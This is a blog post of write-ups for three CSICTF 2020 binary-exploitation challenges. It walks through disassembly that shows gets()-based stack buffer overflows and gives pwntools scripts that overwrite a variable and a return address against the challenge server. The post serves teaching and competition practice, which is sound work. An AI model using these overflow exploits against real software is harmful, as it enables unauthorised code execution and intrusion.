pwn intended - CSICTF 2020 Writeups
- Posted: July 28, 2020
- Updated: July 8, 2023
My team and I participated in csictf 2020 and enjoyed it quite a bit. This blog post will be a writeup of the pwn-intended-0x1
, pwn-intended-0x2
, and pwn-intended-0x3
problems. Once again this writeup is released really late, but maybe it’ll still be useful to some – or just a good read.
pwn-intended-0x1
The writeup for this challenge will be more detailed, in part because I want to understand how the stack is used in assembly. This challenge can be trivially solved by just bashing the keyboard. Hopefully this deeper explanation will provide more insight into the lower level computation. WIth that, let’s begin.
For this challenge we are given an executable which asks for some input on startup. Let’s decompile it with r2ghidra-dec
– a Ghidra decompiler integration into radare.
undefined8 main(void)
{
char *s;
uint32_t var_4h;
var_4h = 0;
sym.imp.setbuf(_reloc.stdout, 0);
sym.imp.setbuf(_reloc.stdin, 0);
sym.imp.setbuf(_reloc.stderr, 0);
sym.imp.puts("Please pour me some coffee:");
sym.imp.gets(&s);
sym.imp.puts("\nThanks!\n");
if (var_4h != 0) {
sym.imp.puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
sym.imp.system("cat flag.txt");
}
return 0;
}
Something to note is that if we were to use Ghidra, it would show something like char s [44];
, but let’s find this out using radare and see how these two variables are placed one after the other on the stack.
┌ 158: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x30
│ ; var uint32_t var_4h @ rbp-0x4
│ 0x00401156 55 push rbp
│ 0x00401157 4889e5 mov rbp, rsp
│ 0x0040115a 4883ec30 sub rsp, 0x30
│ 0x0040115e c745fc000000. mov dword [var_4h], 0
│ ; <redacted>, Sets up stdio buffers and prompts for input
│ 0x004011ad 488d45d0 lea rax, [s]
│ 0x004011b1 4889c7 mov rdi, rax ; char *s
│ 0x004011b4 b800000000 mov eax, 0
│ 0x004011b9 e8a2feffff call sym.imp.gets ;[3] ; char *gets(char *s)
│ 0x004011be 488d3d5f0e00. lea rdi, str.Thanks ; 0x402024 ; "\nThanks!\n" ; const char *s
│ 0x004011c5 e866feffff call sym.imp.puts ;[2] ; int puts(const char *s)
│ 0x004011ca 837dfc00 cmp dword [var_4h], 0
│ ┌─< 0x004011ce 741d je 0x4011ed
│ │ ; <redacted>, Flag is printed here
│ └─> 0x004011ed b800000000 mov eax, 0
│ 0x004011f2 c9 leave
└ 0x004011f3 c3 ret
At the very start we see the two variables, s
and var_4h
defined by radare with offsets off rbp
and then assigned to in assembly below:
; var char *s @ rbp-0x30
; var uint32_t var_4h @ rbp-0x4
0x0040115e c745fc000000. mov dword [var_4h], 0
0x004011ad 488d45d0 lea rax, [s]
It’s clear that the size of them together is 0x30
:
0x0040115a 4883ec30 sub rsp, 0x30
s
is placed at the start with offset rbp - 0x30
and then var_4h
is placed at rbp - 0x4
. This means that the s
buffer which we control is of size 0x30 - 0x4 = 0x2c
or 44
in decimal. Thus, we can overflow1 this buffer and overwrite var_4h
by sending 44 bytes followed by our new value for var_4h
.
The flag is printed if var_4h
is no longer 0, so overwriting it with anything but null bytes should do the trick. The comparison can be seen here:
0x004011ca 837dfc00 cmp dword [var_4h], 0
The flag we get is: csictf{y0u_ov3rfl0w3d_th@t_c0ff33l1ke@_buff3r}
pwn-intended-0x2
This problem is nearly identical to the last with the only difference being the final comparison. It now checks var_4h
for the value 0xcafebabe
instead of 0
.
0x004011ca 817dfcbebafe. cmp dword [var_4h], 0xcafebabe
To make our final exploit, we can either use 44 bytes followed by \xbe\xba\xfe\xca
(which is 0xcafebabe
with the correct endianness). Personally, I like using pwntools to do the conversion which makes the script below. p32
is used to convert the 32-bit address to the bytes described.
from pwn import *
p = process("./pwn-intended-0x2")
p = remote("chall.csivit.com", 30007) # Remove for local testing
p.sendline(b"A" * 44 + p32(0xcafebabe))
p.interactive()
We get the flag: csictf{c4n_y0u_re4lly_telep0rt?}
pwn-intended-0x3
The final problem requires that you call a flag()
function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size 0x20
(32 in decimal).
┌ 104: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x20
│ 0x00401166 55 push rbp
│ 0x00401167 4889e5 mov rbp, rsp
│ 0x0040116a 4883ec20 sub rsp, 0x20
│ ; <redacted>, Setup stdio and print some text
│ 0x004011b6 488d45e0 lea rax, [s]
│ 0x004011ba 4889c7 mov rdi, rax ; char *s
│ 0x004011bd b800000000 mov eax, 0
│ 0x004011c2 e899feffff call sym.imp.gets ;[3] ; char *gets(char *s)
│ 0x004011c7 b800000000 mov eax, 0
│ 0x004011cc c9 leave
└ 0x004011cd c3 ret
┌ 38: sym.flag ();
│ 0x004011ce 55 push rbp
│ ; <redacted>, print the flag
└ 0x004011ef e87cfeffff call sym.imp.exit ;[5] ; void exit(int status)
The exploit here is quite clear, we need to overwrite the return pointer of the main()
function to 0x004011ce
to run the flag()
function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,2 and then the address 0x004011ce
as \xce\x11@\x00\x00\x00\x00\x00
(the @
is just \x40
).
With that, our exploit script, once again using pwntools, can be seen below. We use p64
to convert the 64-bit address to the bytes described above.
from pwn import *
p = process("./pwn-intended-0x3")
p = remote("chall.csivit.com", 30013) # Remove for local testing
p.sendline(b"A" * (32 + 8) + p64(0x4011ce))
p.interactive()
And we get our flag, csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}
, nice!
We can do this because input is taken with
gets()
which, as described in thegets
manpage (man 3 gets
) is unsafe because it will continue reading data until reaching a specific character like a newline. ↩︎One can find this out by debugging with radare which will was described in this blog post. It is probably for alignment, but to find out exactly why you’ll have to become a glibc librarian. ↩︎